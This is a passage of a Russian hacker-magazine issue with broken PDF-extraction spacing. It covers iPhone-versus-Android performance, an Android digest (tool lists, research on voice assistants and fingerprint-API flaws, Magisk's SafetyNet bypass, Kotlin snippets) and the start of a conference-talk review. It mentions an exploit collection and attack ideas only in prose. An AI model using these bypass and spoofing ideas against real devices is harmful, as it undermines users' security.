а мож но при неиз менной пло щади и энер гопот ребле нии добавить тран зисто‐ 
ров в дру гие бло ки, уве личив тем самым про изво дитель ность. Ско рее все го,
имен но  по  вто рому  сце нарию раз вивались  события  и  про цес сор A11 Bionic
получил допол нитель ные 10–15% про изво дитель нос ти имен но за счет отка за
от под дер жки 32‐раз рядно го кода.

Воз можно ли  подоб ное  в мире Android? Да,  воз можно,  но  не  пол ностью
и очень нес коро. Лишь с августа 2019 года всту пают в силу тре бова ния к раз‐ 
работ чикам,  которые  дол жны  будут  при  добав лении  или  обновле нии  при‐ 
ложе ний  в  Google  Play  Store  в  обя затель ном  поряд ке  вклю чать  64‐бит ные
вер сии  дво ичных  биб лиотек.  (Отме тим  здесь,  что  далеко  не  все —  и  даже
не боль шинс тво! — при ложе ния Android вооб ще исполь зуют какие‐либо дво‐ 
ичные  биб лиоте ки,  зачас тую  доволь ству ясь  динами чес ки  тран сли руемым
байт‐кодом.)  Напом ним,  Apple  вве ла    в  фев‐ 
рале  2015  года  —  опять  пре иму щес тво  во  вре мени,  на  сей  раз  в  четыре
с полови ной года.

ана логич ное  тре бова ние

ФАКТОР ШЕСТОЙ: ОПТИМИЗАЦИЯ И ИСПОЛЬЗОВАНИЕ
ДОСТУПНЫХ РЕСУРСОВ
Оп тимиза ция  —  важ ней шая  сос тавля ющая  про изво дитель нос ти.  Тра дици‐ 
онно у Apple с опти миза цией все было или иде аль но, или образцо во  (поль‐ 
зовате ли, которые жалу ются на упав шую про изво дитель ность ста рых устрой‐ 
ств, обно вив шихся до пос ледней вер сии  iOS, прос то не понима ют, какой ад
был  бы  на  таком  сла бом  железе,  если  бы  на  нем  запус тили  Android).  А  вот
у  Android  с  опти миза цией  все...  пес тро.  Раз нооб разно.  Мож но  ска зать  —
феерич но.

Ча ще все го дос таточ но быс тро на све жем железе работа ют чис тые сбор ки
Android  —  такие,  что  исполь зуют ся  в  смар тфо нах  Google  Nexus  и  Pixel,
устрой ствах  Motorola  и  Nokia.  Но  даже  и  здесь  не  все  хорошо:  нап ример,
в  смар тфо не  Google  (Motorola)  Nexus  6  были  совер шенно  пот ряса ющие
вооб ражение  проб лемы  со  ско ростью  дос тупа  к  накопи телю,  воз никшие
из‐за без гра мот ной реали зации шиф рования (раз работ чики Google не спра‐ 
вились с аппа рат ным уско рите лем крип тогра фичес ких опе раций про цес сора
Snapdragon 805, пос ле чего заяви ли, что «прог рам мная реали зация луч ше»).
Вот в   статье мы под робно про ана лизи рова ли ско рость чте ния и записи
зашиф рован ных дан ных смар тфо ном Nexus 6, срав нив ее со ско ростью ана‐ 
логич ных опе раций в iPhone 5s. Вот циф ры:

этой

Nexus  6,  пос ледова тель ное  чте ние,  незашиф рован ные  дан ные:
131,65 Мбайт/с;

•

Nexus 6, пос ледова тель ное чте ние, зашиф рован ные дан ные: 25,17 Мбайт/
с (39 Мбайт/с в обновле нии до Android 7);

•

iPhone 5s, пос ледова тель ное чте ние, зашиф рован ные дан ные: 183 Мбайт/
с.

•

Впе чат ляет? При похожих аппа рат ных харак терис тиках раз работ чики Google
(Google,  а  не  кри вору ких  OEM!)  умуд рились  в  референ сном  устрой стве,
которое дол жно было прод вигать безопас ное шиф рование в мас сы, сде лать
такой  вот  ляп.  Будешь  ли  ты  удив лен,  узнав,  что  и  у  дру гих  про изво дите лей
с опти миза цией могут воз никать проб лемы? И они воз ника ют. Так, осна щен‐ 
ный по мак симуму HTC U Ultra (Snapdragon 821) умуд ряет ся под торма живать
и перег ревать ся при самых рутин ных опе раци ях; такое впе чат ление, что про‐ 
цес сор  выпол няет  как  минимум  вдвое  боль ше  вычис лений,  чем  дол жен.  Ну
а  о  смар тфо нах  Samsung,  которые  ухит ряют ся  под торма живать  по мелочам
даже на самом мощ ном дос тупном железе, даже и говорить под робно не сто‐ 
ит.

ФАКТОР СЕДЬМОЙ: РАЗРЕШЕНИЕ ЭКРАНА
Есть и еще один момент, который сто ит упо мянуть. Это — раз решение дис‐ 
плея. Как извес тно, стан дар тные модели iPhone осна щают ся экра нами с раз‐ 
решени ем  HD,  модели  Plus  —  Full  HD.  Про изво дите ли  же  смар тфо нов
под  управле нием  Android,  исполь зующие  флаг ман ские  чип сеты  Qualcomm,
ста рают ся  уста нав ливать  экра ны  с  раз решени ем  QHD —  2560  ×  1440.  Ну,
как самый минимум — Full HD, но  такое во флаг ман ских смар тфо нах встре‐ 
чает ся, увы, нечас то.

По чему «увы»? Потому что раз решения выше Full HD на экра нах с IPS‐мат‐ 
рицей диаго налью до 5,7″ вклю читель но более чем дос таточ но. Для AMOLED‐
экра нов,  у  которых,  во‐пер вых,  струк тура  суб пиксе лей  PenTile,  а  во‐вто рых,
может  быть  под дер жка  очков  вир туаль ной  реаль нос ти  Google  VR  (кста ти,
а какому про цен ту поль зовате лей она реаль но при годи лась?), оправдан ность
QHD‐раз решения еще мож но как‐то аргу мен тировать.

Нес коль ко в сто роне сто ит  iPhone X с раз решени ем 2436 × 1125 — впро‐ 
чем,  это,  по  сути,  мало  отли чает ся  от  Full  HD.  Для  срав нения:  раз решение
экра на Samsung Galaxy S8 — 2960 × 1440, то есть в пол тора раза боль ше пик‐ 
селей, чем в iPhone X.

А  теперь  пред ставь,  что  мы  срав нива ем  про изво дитель ность  iPhone
8 с его раз решени ем HD и какую‐нибудь Nokia 8 с QHD. Пред ста вил? Nokia
при ходит ся обра баты вать поч ти в четыре раза боль ше пик селей, чем iPhone,
что  не может  не  ска зать ся  на  энер гопот ребле нии  и  на  про изво дитель нос ти
(как минимум в тех тес тах, которые исполь зуют вывод на экран). Я сей час ни в
коей мере не оправды ваю ста рень кие экра ны, которые Apple с мани акаль ным
упорс твом  про дол жает  уста нав ливать  в  устрой ства  сто имостью  под  тысячу
дол ларов,  а  прос то  заос тряю  вни мание  на  том,  что  про изво дитель ность
и  энер гоэф фектив ность  устрой ств  с  экра нами  низ кого  раз решения  даже
при про чих рав ных будет выше, чем у смар тфо нов с экра нами QHD.

Что‐то такое заподоз рили и про изво дите ли. Так, Sony Xperia Z5 Premium,
экран  которо го  (кста ти,  IPS,  бес полез ный  для  целей  VR)  име ет физичес кое
раз решение  4K  (на  самом  деле  нет,  даже  здесь  мар кетоло ги  ),
но логичес кое — «все го лишь» Full HD, что поз волило про изво дите лю и пот‐ 
ребите ля  обма нуть,  и  не  слиш ком  силь но  убить  про изво дитель ность.
Похожим обра зом пос тупили и в Samsung, раз решив исполь зовать понижен‐ 
ное логичес кое раз решение на экра нах с высокой плот ностью точек. Оче вид‐ 
но,  инте ресы  мар кетоло гов  идут  враз рез  с  инте реса ми  как  поль зовате лей
этих устрой ств, так и собс твен ных раз работ чиков ком пании.

об манули

ВМЕСТО ЗАКЛЮЧЕНИЯ: НУЖНЫ ЛИ НАШЕМУ ТЕЛЕФОНУ 64 БИТА?
Так ли нуж ны 64‐раз рядные про цес соры в мобиль ных устрой ствах? Ведь у 32‐
раз рядных вычис литель ных ядер есть свои пре иму щес тва. Такие про цес соры
могут  работать  быс трее  64‐раз рядных  из‐за  мень шей  дли ны  инс трук ций
вследс твие мень шей дли ны адре са, и, как резуль тат, они менее тре бова тель‐ 
ны к объ ему опе ратив ной памяти; в них мож но реали зовать более корот кую
оче редь  команд,  что  так же  может  дать  выиг рыш  в  про изво дитель нос ти
в опре делен ных сце нари ях.

Не кото рые  из  этих  пре иму ществ  так  и  оста нут ся  теоре тичес кими,  но  в
ряде  сов ремен ных  сце нари ев  исполь зования  без  под дер жки  команд
ARMv8  уже  не  обой тись.  Это  и  потоко вое  шиф рование,  и  склей ка  HDR
в режиме реаль ного вре мени, и мно гие дру гие малоза мет ные вещи. Как бы
там  ни  было,  про изво дите ли  про цес соров  переш ли  на  64‐раз рядные  ядра
с под дер жкой ARMv8, и это свер шивший ся факт.

Вот толь ко про изво дите ли смар тфо нов не спе шат перехо дить на 64‐бит‐ 
ные сбор ки опе раци онных сис тем.

Так, в при роде не сущес тву ет ни одно го смар тфо на под управле нием Win‐
dows  10  Mobile,  в  котором  опе раци онная  сис тема  работа ла  бы  в  64‐раз‐ 
рядном режиме. И Lumia 950  (Snapdragon 808), и Lumia 950 XL  (Snapdragon
810), и даже отно ситель но све жий Alcatel Idol 4 Pro (Snapdragon 820) работа‐ 
ют под управле нием 32‐бит ной сбор ки Windows 10 Mobile.

Не  отста ют  и  про изво дите ли  телефо нов  с  Android.  К  при меру,  у  Lenovo,
выпус кающей  смар тфо ны  под  мар кой  Motorola,  есть  все го  два  устрой ства
с «пра виль ным» 64‐раз рядным Android: это флаг маны линей ки Moto Z (обыч‐ 
ная вер сия и раз новид ность Force) и Moto Z2 Force. Все осталь ные  устрой‐ 
ства — и бюд жетный Moto G5 на Snapdragon 430, и све жий суб флаг ман Moto
Z2 Play на Snapdragon 626 — работа ют в 32‐бит ном режиме.

Ряд  устрой ств  дру гих  про изво дите лей  (нап ример,  BQ  Aquaris  X5  Plus)
исполь зует  мощ ный  Snapdragon  652  в  32‐раз рядном  режиме.  Нуж но  ли
говорить, что такие устрой ства не выжима ют мак симума из дос тупных аппа‐ 
рат ных воз можнос тей?

С  дру гой  сто роны,  не  все  иде аль но  и  у  Apple.  Даже  64‐раз рядные  при‐ 
ложе ния,  ском пилиро ван ные  в  натив ный  код,  из‐за  тре бова ний  обратной
сов мести мос ти  вынуж дены  огра ничи вать ся  набором  команд,  дос тупным
в самых ран них про цес сорах ком пании — Apple A7 образца 2013 года. А вот
у ком пилято ра байт‐кода ART, который исполь зует ся в Android с 5‐й вер сии,
таких  проб лем  нет:  байт‐код  при ложе ний  ком пилиру ется  в  опти мизи рован‐ 
ный натив ный код, исполь зующий все дос тупные на текущем железе инс трук‐ 
ции.

Впро чем,  будем  жить  с  тем,  что  есть.  За  мак сималь ной  про изво дитель‐ 
ностью про цес сорных ядер и  гаран тирован ной опти миза цией — к Apple. То
же самое, толь ко в пол тора‐два раза похуже и во столь ко же раз дешев ле, —
к сон му про изво дите лей тру бок на Android.

mailto:aoleg@voicecallcentral.com
https://browser.geekbench.com/android-benchmarks
https://www.androidauthority.com/apple-a10-fusion-chip-performance-723918/
http://appleinsider.com/articles/15/01/19/apple-once-again-alerts-ios-8-app-developers-to-upcoming-64-bit-requirement-
https://blog.elcomsoft.com/2016/03/smartphone-encryption-why-only-10-per-cent-of-android-smartphones-are-encrypted/
https://www.ixbt.com/mobile/sony-xperia-z5-premium.shtml#display-test
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Се год ня  в  выпус ке:  безопас ность  домаш них  голосо вых
ассистен тов  и  дру гих  умных  гад жетов,  безопас ность  при‐ 
ложе ний,  исполь зующих  дат чик  отпе чат ка  паль ца,  исто рия
соз дания  Magisk,  рас ска зан ная  авто ром  про екта.  А  так же:
внут реннос ти  Instant  Apps,  вве дение  в  Android  Architecture
Components,  по‐нас тояще му  впе чат ляющие  трю ки  в  Kotlin
и све жая под борка биб лиотек.

ИНСТРУМЕНТЫ

 — кол лекция всех инс тру мен тов, показан ных в рам‐ 
ках Black Hat Arsenal начиная с 2011 года;

• blackhat‐arsenal‐tools

 — кол лекция экс пло итов и PoC для раз личных Android‐уяз вимос‐ 
тей;

• poc‐exp

  —  мета инс тру мент  ана лиза  Android‐при ложе ний,  поз воля‐ 
ющий  получить  исчерпы вающую  информа цию  о  при ложе нии,  деком‐ 
пилиро вать его, най ти стро ки, URL, ком понен ты баз дан ных; плюс интегра‐ 
ция с Frida;

• AndroTickler

 — спи сок самых полез ных при‐ 
ложе ний для пен теста iOS.

• Most usable tools for iOS penetration testing

ПОЧИТАТЬ

Уяз вимос ти домаш них голосо вых ассистен тов
 — иссле дова ние, пос вящен ное

безопас ности домаш него голосо вого ассистен та Amazon Echo, а так же дру‐ 
гих подоб ных ассистен тов (Google Home, Apple HomePod).

The  Insecurity of Home Digital Voice Assistants

В  нашей  стра не  не  мно гие  слы шали  об  этих  устрой ствах,  но  они  очень
популяр ны  в США.  Amazon  про дала  более  пяти мил лионов  колонок  Amazon
Echo,  а  количес тво  ее  скил лов  (воз можнос тей,  которые  дос тупны  пос редс‐ 
твом голоса) уже перева лило за десять тысяч. С помощью Amazon Echo мож‐ 
но  совер шать интернет‐покуп ки,  заказы вать еду,  откры вать две ри,  вклю чать
свет и делать огромное количес тво дру гих вещей. Получив кон троль над этим
устрой ством, зло умыш ленник может открыть дверь в квар тиру (если она обо‐ 
рудо вана  смарт‐зам ком,  под клю чен ным  к  устрой ству)  или  выпол нить  от  его
име ни заказ в интернет‐магази не.

При  всех  сво их  воз можнос тях  Amazon  Echo  очень  сла бо  защище ны.
Единс твен ный метод аутен тифика ции, который они исполь зуют, — это сво его
рода  пароль ная  фра за  (по  умол чанию  Alexa),  пос ле  про изне сения  которой
устрой ство  про сыпа ется  и  перехо дит  в  режим  прос лушива ния  коман ды.
Неваж но, кто и каким голосом про изнес эту фра зу, глав ное, что бы гром кость
была не ниже 60 dB, а сис тема рас позна вания голоса ее поняла.

Бо лее того, Amazon Echo не раз лича ет при сутс твие челове ка в помеще нии
и реаги рует на любой голос, вне зависи мос ти от того, кому он при над лежит:
челове ку,  телеви зору,  смар тфо ну, Bluetooth‐колон ке или  говоря щей собаке.
Авто ры иссле дова ния про вели тест и выяс нили, что Amazon Echo прек расно
рас позна ет  коман ды,  про изне сен ные  син тезиро ван ным  голосом  (на  раз ных
ско рос тях)  Bluetooth‐колон кой,  рас положен ной  на  рас сто янии  до  вось ми
мет ров.

В  качес тве  метода  борь бы  с  уяз вимос тями  авто ры  пред лага ют  исполь‐ 
зовать  тех нологию  VSButton.  Нес мотря  на  наз вание,  она  не  име ет  ничего
обще го  с  физичес кими  кноп ками,  но  поз воля ет  регис три ровать  иска жения
элек тро маг нитных волн челове чес ким телом. С помощью это го метода мож но
выявить  дви жение  в  помеще нии  и  таким  обра зом  опре делить  при сутс твие
челове ка. При этом VSButton не отдель ное устрой ство, а может быть интегри‐ 
рова на в Amazon Echo с помощью обновле ния прог рам мно го обес печения.

О (не)безопас ности IoT
  —  ресерч,  пос вящен ный

безопас ности  IoT‐устрой ств.  По  оцен кам  авто ров,  к  2020  году  к  интерне ту
будет  под клю чено  более  двад цати  мил лиар дов  раз нооб разных  устрой ств,
начиная от веб‐камер и закан чивая холодиль никами и сти раль ными машина‐ 
ми. И  если  учесть  тоталь ную  небезо пас ность  текущих  устрой ств,  это может
стать  нас толь ко  серь езной  проб лемой,  что бот Mirai,  не  так  дав но  завалив‐ 
ший пол‐интерне та с помощью веб‐камер, покажет ся дет ской игрушкой.

IDIoT:  Securing  the  Internet  of  Things  like  it’s  1994

IT‐спе циалис ты  пред лага ют  раз ные  решения  этой  проб лемы,  но  пока
ни одно из них не может быть воп лощено в жизнь даже на неболь шом чис ле
устрой ств.  IoT раз вива ется очень быс тро, поэто му  ком пании‐про изво дите ли
ста вят  на  пер вое  мес то  ско рость  выпус ка  устрой ства  на  рынок,  жер твуя
безопас ностью. Попыт ки стан дарти зации про токо лов дос тупа к устрой ствам
про вали вают ся  одна  за  дру гой  по  при чине  инер тнос ти  и  стрем ления  ком‐ 
паний  про тол кнуть  свой  стан дарт.  SDN‐решения  вро де  спе циаль ных  мид‐ 
лбок сов,  которые  дол жны  соеди нять  IoT‐устрой ства  с  внеш ним  миром,
никому не нуж ны. Попыт ки регули ровать рынок  IoT закан чива ются на бюрок‐ 
ратичес ком выяс нении отно шений и бес конеч ном раз биратель стве, кто и как
дол жен его регули ровать.

До кумент инте ресен имен но опи сани ем текущей ситу ации. Решение авто‐ 
ров, под наз вани ем IDIoT, — это доволь но топор ный сетевой филь тр, который
про пус кает  наружу  и  внутрь  локаль ной  сети  толь ко  тот  тра фик,  который
реаль но  нужен  девай су,  и  отсе кает  все  осталь ное.  К  при меру,  веб‐камера
будет спо соб на заг ружать видео на уда лен ный сер вер, но не смо жет «отклю‐ 
чить» интернет UDP‐зап росами  к  кор невым DNS‐сер верам. Решение может
быть как соф твер ное, уста нав лива емое на роутер или телефон, так и желез‐ 
ное, нап ример Raspberry Pi со спе циаль ной про шив кой.

13 фун кций, исчезнув ших из Android
 — инте рес‐ 

ная  статья  о  тех нологи ях,  которые  ког да‐то  были  в  Android,  но  теперь  уда‐ 
лены. Из наибо лее печаль ных потерь:

Android nostalgia: 13 once‐trumpeted features that quietly faded away

вид жеты на экра не бло киров ки. Появи лись в Android 4.2 и сра зу получи ли
под дер жку в лице вид жета DashClock, написан ного одним из сот рудни ков
Google. Через два года столь дав но ожи даемая фун кция исчезла;

•

план шетный  интерфейс.  В  Android  3.0,  выпущен ном  исклю читель но
для план шетов, был реали зован прек расный интерфейс в сти ле дес кто па.
Ниж нюю  часть  экра на  занима ла  стро ка  с  тра дици онны ми  кноп ками
навига ции сле ва и часами с «тре ем» спра ва. Клик по часам откры вал быс‐ 
трые нас трой ки и панель уве дом лений. В Android 4.2 этот интерфейс сме‐ 
нил ся на телефон ный;

•

жи вые  пап ки.  В  Android  1.5  появи лась  весь ма  инте рес ная фун кция,  поз‐ 
воля ющая упа ковать в пап ку любую информа цию. При ложе ния мог ли пре‐ 
дос тавлять  реали зацию  папок,  содер жащих,  к  при меру,  email‐адре са,
номера телефо нов, замет ки и мно гое дру гое. Фун кция была уда лена в An‐
droid 3.0 в уго ду вид жетам.

•

План шетный интерфейс Android 3.0

Ис тория соз дания Magisk
 — исто рия соз дания Magisk,  написан ная авто ром про екта.

Magisk — едва ли не самый популяр ный сегод ня менед жер прав root, а так же
сис тема модифи кации Android без вне сения изме нений в сис темный раз дел
(если по‐прос тому: он модифи циру ет boot‐раз дел и во вре мя заг рузки вно сит
изме нения поверх system‐раз дела без его модифи кации, это называ ется sys‐
temless). Наибо лее инте рес ные выдер жки:

The Magisk Story

Magisk  был  соз дан  под  впе чат лени ем  от  SuperSU  для  Android  6.0  (в
котором  впер вые  появил ся  режим  systemless).  Автор  пытал ся  зас тавить
режим  systemless  работать  не  толь ко  в  отно шении  root‐дос тупа,  но  и
для уста нов ки Xposed, в резуль тате чего родил ся новый про ект;

•

Magisk исполь зует доволь но прос той трюк: он внед ряет себя в boot‐скрипт
и на ста дии заг рузки post‐fs‐data,  ког да все фай ловые сис темы уже под‐ 
клю чены,  но  Zygote  не  запущен  (в  Android  Zygote  фак тичес ки  запус кает
ОС),  под клю чает  поверх  фай ловой  сис темы  system  все  необ ходимые
модифи кации  (в  Linux  такое мож но  сде лать  с  помощью  так  называ емо го
bind mount);

•

по пуляр ности  Magisk  спо собс тво вала  игра  Pokemon  Go,  исполь зующая
в сво ей работе сис тему Google SafetyNet для про вер ки, что на устрой стве
не  получе ны  пра ва  root  и  не  про изве дены  модифи кации  (в  Magisk  есть
сис тема обхо да SafetyNet);

•

меж ду  Google  и  Magisk  до  сих  пор  идет  ожес точен ная  борь ба:  пер вая
встра ивает  новые  пра вила  про верок  SafetyNet,  вто рой  с  каж дым  новым
релизом учит ся их обхо дить;

•

на  пер вых  порах  раз вития  про екта  автор  про сил  помощи  у  зна мени того
Android‐хакера  и  соз дателя  SuperSU  ChainFire,  но  тот  отка зал  ему,  сос‐ 
лавшись  на  интеллек туаль ную  собс твен ность.  Автор Magisk  в  резуль тате
прос то украл его ути литу для пат чинга пра вил SELinux (supolicy) и интегри‐ 
ровал в свой про ект.

•

Ло гика работы Magisk

О пра виль ном исполь зовании дат чика отпе чат ка паль ца
 — иссле дова ние,

пос вящен ное  безопас ности  при ложе ний,  исполь зующих  дат чик  отпе чат ка
паль ца. Авто ры написа ли ути литу для ана лиза кода таких при ложе ний и при‐ 
мени ли ее к 501 APK из мар кета. Выводы обыч ны: раз работ чикам при ложе‐ 
ний  не  сто ит  рас счи тывать,  что  мал варь  не  смо жет  запус тить  свой  экран
поверх  их,  но  сре ди  подоб ных  стан дар тных  рас сужде ний  осо бо  выделя ется
один резуль тат иссле дова ния.

Broken Fingers: On the Usage of the Fingerprint API in Android

54%  при ложе ний  (вклю чая  Google  Play)  не  генери руют  и  не  исполь зуют
открыв шиеся  в  резуль тате  касания  дат чика  отпе чат ка  паль ца  крип тогра‐ 
фичес кие клю чи (дру гими сло вами, дат чик слу жит толь ко для под твержде ния
дей ствия, но не для того, что бы, нап ример, получить дос туп к клю чу и затем
при менить  его  для  под писи  тран закции  или  дру гого  дей ствия).  Это  зна чит,
что  зло умыш ленник  с  пра вами  root  смо жет  совер шить  покуп ку,  прос то
симули ровав касание сен сора (при помощи вызова метода onAuthentication‐
Succeeded самого при ложе ния).

КОДИНГ

Как работа ют Instant Apps
 — ввод ная статья об Instant Apps, срав нитель но новой фун‐ 

кции  Android  (а  точ нее,  Google  Mobile  Services),  поз воля ющей  соз давать
«одно разо вые при ложе ния»,  которые мож но запус тить мгно вен но без необ‐ 
ходимос ти в уста нов ке.

Inside Instant Apps

Instant  Apps  базиру ются  на  кон цепции  feature,  ког да  одно  ком плексное
при ложе ние  делит ся  на  нес коль ко  сво его  рода  мини‐при ложе ний.  Каж дое
такое мини‐при ложе ние может вклю чать в себя код, ресур сы и дан ные, необ‐ 
ходимые  для  работы  толь ко  одной  активнос ти  при ложе ния.  Feature  может
быть,  к  при меру,  прос то  стра ницей  покуп ки  какого‐либо  товара. Оно  име ет
собс твен ный URL, перей дя по которо му поль зователь мгно вен но (ну или поч‐ 
ти мгно вен но) уви дит опре делен ную активность при ложе ния.

Ми ни‐при ложе ния могут раз делять  код меж ду собой, но раз мер каж дого
из них не дол жен пре вышать четыре мегабай та. Кро ме того, они могут иметь
огра ничен ный  набор  сис темных  при виле гий.  Один  и  тот  же  про ект  мож но
исполь зовать  для  сбор ки  как  пол ноцен ного  при ложе ния,  так  и  набора
мини‐при ложе ний или того и дру гого.

Класс Parcelable в одну стро ку
 —  неболь шая  замет ка  о  новой

воз можнос ти  Kotlin  1.1.4  под  наз вани ем  Parcelize.  Суть  ее  в  сле дующем:
для переда чи объ ектов меж ду активнос тями в Android сле дует опи сывать эти
объ екты с помощью гро моз дко го и неудоб ного интерфей са Parcelable, пре‐ 
дос тавля юще го воз можнос ти сери али зации.

Yet  Another  Awesome  Kotlin  Feature:  Parcelize

Опи сание одно го прос того объ екта с помощью Parcelable может занимать
десят ки  строк  кода,  боль шая  часть  которо го  будет  иметь  весь ма  опос‐ 
редован ное отно шение к логике работы при ложе ния. Parcelize поз воля ет опи‐ 
сать такой объ ект бук валь но с помощью двух строк:

@Parcelize
data class Student(val id: String, val name: String, val grade: 
String) : Parcelable

Воз можность в дан ный момент экспе римен таль ная, поэто му для ее исполь‐ 
зования сле дует добавить в build.gradle про екта такие стро ки:

apply plugin: 'kotlin‐android‐extensions'
androidExtensions {
   experimental = true
}

Прос той спо соб соз дания RecyclerView с помощью Kotlin
 — статья с опи сани ем весь ма инте рес‐ 

ной  тех ники  соз дания  RecyclerView  (спис ка).  Крат кая  пре дыс тория:  что бы
соз дать спи сок с помощью RecyclerView, необ ходимо соз дать класс на осно‐ 
ве RecyclerView.adapter, а так же класс на осно ве RecyclerView.ViewHolder. Вто‐ 
рой  будет  содер жать  опи сание  интерфей са  каж дого  эле мен та,  а  пер вый —
соз давать эле мен ты спис ка, напол няя ViewHolder нуж ными дан ными.

RecyclerView plusAssign Kotlin power

Оче вид но,  такой  спо соб  опи сания  спис ков  доволь но  гро моз дкий
и выматы вающий, если спис ков будет мно го. Автор пред лага ет заменить его
такой конс трук цией:

recyclerView.setUp(users, R.layout.item_layout, {
   nameText.text = it.name
   surNameText.text = it.surname
})

Са мо собой, RecyclerView не име ет метода setUp, это фун кция‐рас ширение,
добав ленная  с  помощью  Kotlin.  И  имен но  ее  опи санию  пос вящена  статья.
Все  сво дит ся  к  соз данию  уни вер саль ного  адап тера  и  уни вер саль ного
ViewHolder, пос ле чего автор опи сыва ет фун кцию‐рас ширение setUp, которая
и под клю чает адап тер к RecyclerView:

fun <ITEM> RecyclerView.setUp(items: List<ITEM>, layoutResId: Int, 
bindHolder: View.(ITEM) ‐> Unit, manager: RecyclerView.LayoutManager 
= LinearLayoutManager(this.context)): Kadapter<ITEM> {
   return Kadapter(items, layoutResId, {
       bindHolder(it)
   }).apply {
       layoutManager = manager
       adapter = this
   }
}

Плюс некото рые шаманс тва, свя зан ные с написа нием кол бэков для обра бот‐ 
ки нажатий на эле мен ты спис ка.

Как Kotlin работа ет с кол лекци ями
 — иссле дова ние того, как в Kotlin работа ют кол‐ 

лекции: Collection, Set, MutableSet, List, MutableList. Инте рес ные наб людения:
Kotlin Collections Inside. Part 1

Нес мотря на то что в Kotlin есть изме няемые и неиз меня емые кол лекции
(нап ример, MutableList и List), на деле все кол лекции изме няемые. Их мож‐ 
но пре обра зовать, если исполь зовать из кода на Java, одна ко при попыт ке
изме нить  тот  же  List  из  Kotlin  будет  выб рошено  исклю чение
java.lang.UnsupportedOperationException.

•

Фун кция  listOf(),  пред назна чен ная  для  соз дания  спис ков,  на  самом  деле
соз дает мас сив Java, а затем вызыва ет его метод asList(), что бы пре обра‐ 
зовать его в ArrayList. Так что на деле тип List в Kotlin — это впол не стан‐ 
дар тный ArrayList.

•

Иерар хия кол лекций Kotlin

Вве дение в Android Architecture Components
  —

хорошее  и  не  затяну тое  вве дение  в  Android  Architecture  Components,  пред‐ 
став ляющие собой реали зацию пат терна Model — View — ViewModel (MVVM).
AAC базиру ются на четырех клю чевых ком понен тах:

Realtime  applications  using  Android  Architecture  Components  with  Kotlin

Lifecycle  —  хра нит  сос тояния  ком понен тов  при ложе ния  (таких
как  активнос ти  и  фраг менты)  и  поз воля ет  дру гим  ком понен там  реаги‐ 
ровать  на  изме нения  сос тояния  (нап ример,  завер шить  обновле ние мес‐ 
тополо жения при сво рачи вании активнос ти);

•

ViewModel — хра нит сос тояние гра фичес ких эле мен тов при ложе ния и свя‐ 
зыва ет эти эле мен ты с моделью;

•

LiveData — хра нит дан ные эле мен тов, поз воляя наб людать за их обновле‐ 
нием и реаги ровать;

•

Room  —  обер тка  над  SQLite,  обес печива ющая  более  удоб ный  дос туп
к дан ным и обновле ния дан ных в режиме реаль ного вре мени.

•

Ис поль зуя эти ком понен ты, мож но соз дать при ложе ние, в режиме реаль ного
вре мени обновля ющее свое сос тояние в обе сто роны: нажатие кноп ки при‐ 
водит к записи в базу дан ных, а изме нение в базе дан ных сра зу отра жает ся
на  гра фичес ком  интерфей се.  Ну  и  конеч но  же,  его  ком понен ты  будут  чет ко
раз делены.

БИБЛИОТЕКИ

  —  поз воля ет  раз местить  важ ные  дан ные  в  зашиф рован ной
натив ной биб лиоте ке;

• Cipher.so

 — клас сы SecureButton и SecureImageButton, реали зующие
стан дар тные кноп ки Android, спо соб ные опре делять, не перек рыты ли они
овер леем;

• SecureControls

  —  мощ ная  ORM‐биб лиоте ка  с  под дер жкой  мно гих  БД
и RxJava2;

• ReActiveAndroid

 — биб лиоте ка  логиро вания,  отправ ляющая логи  на  уда‐ 
лен ный сер вер;

• hyperlog‐android

 — удоб ная в исполь зовании Kotlin‐биб лиоте ка для выпол нения
раз личных матема тичес ких опе раций;

• kotlin‐math

  —  прос тая  в  исполь зовании  биб лиоте ка  для  тес тирова ния
интерфей сов;

• Barista

  —  биб лиоте ка  для  работы  с  UI,  соз данная  под  впе чат лени ем
от JQuery;

• AQuery

 — перек лючатель с кра сивой ани маци ей;• CustomToggleButton
 — кру говой прог ресс‐бар;• circular‐progress‐bar

 — View в фор ме отрывно го билета;• TicketView
  —  биб лиоте ка  динами чес кой  тран сфор мации  одно го  View

в дру гой;
• transitioner

 —  окно  выбора  кален даря  с  мно жес твом  нас тро ек  внеш‐ 
него вида;

• CalendarPicker

 —  биб лиоте ка  для  отоб ражения  слож ных  таб лиц,  содер жащих
мно жес тво дан ных;

• TableView

 — эле мент интерфей са для отоб ражения тай млай нов с датой
и опи сани ем;

• TimeLineView

 — панель рей тин га, пред лага ющая поль зовате лю оце нить
что‐либо с помощью звезд.

• SimpleRatingBar
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ВЗЛОМ

Мы  тут  подума ли,  что  нель зя  быть  самым
гром ким рупором хакер ско го дела в Рунете
и  не  осве щать  при  этом  события  с  меж‐ 
дународ ных кон ферен ций. При чем не прос‐ 
то  в  общем  обзо ре,  которые  мы  неод‐ 
нократ но рань ше  готови ли  (вот,  нап ример,

 и  ), а рас ска зывать о самых
инте рес ных  док ладах.  Пос тара емся  делать
это каж дый квар тал, а нач нем мы с треть его
квар тала прош лого года, который тра дици‐ 
онно богат на инте рес ные пре зен тации.

Nullcon PHDays

В ОЖИДАНИИ ДРУЖНОГО ТАНДЕМА IOT-АТАК И РАНСОМВАРИ
Christopher  Elisan.  Demystifying  The Ransomware  and  IoT  Threat  //  ROOTCON.
2017

Стре митель ный  рост  атак  ран сомва ри  в  2016  году  еще  не  успел  пой ти
на спад, как появи лась новая угро за — DDoS‐атак, исполь зующих IoT. В этом
док ладе автор поэтап но опи сыва ет, как ран сомварь ата кует, как она работа ет
и что иссле дова тель дол жен делать на каж дом из эта пов для про тивос тояния
ей. Опи рает ся он при этом на зареко мен довав шие себя методи ки.

За тем  док ладчик  рас ска зыва ет,  как  IoT  задей ству ется  в  DDoS‐ата ках,
какую роль в них игра ет  вспо мога тель ная мал варь,  а  так же  как  тан дем ран‐ 
сомва ри  и  IoT‐атак  может  стать  боль шой  угро зой  в  бли жай шие  годы.  Док‐ 
ладчик —  автор  книг  «Malware,  Rootkits  &  Botnets:  a  Beginner’s  Guide»,  «Ad‐
vanced Malware Analysis», «Hacking Exposed: Malware & Rootkits Secrets & Solu‐
tions», так что со зна нием воп роса, как понима ешь, у него проб лем нет.

АТАКА НА МЕДИЦИНСКУЮ КИБЕРИНФРАСТРУКТУРУ
Robert Portvliet. Open Up and Say 0x41414141: Attacking Medical Devices // Toor‐
Con. 2017

Под клю чаемое к интерне ту медицин ское обо рудо вание сей час встре чает‐ 
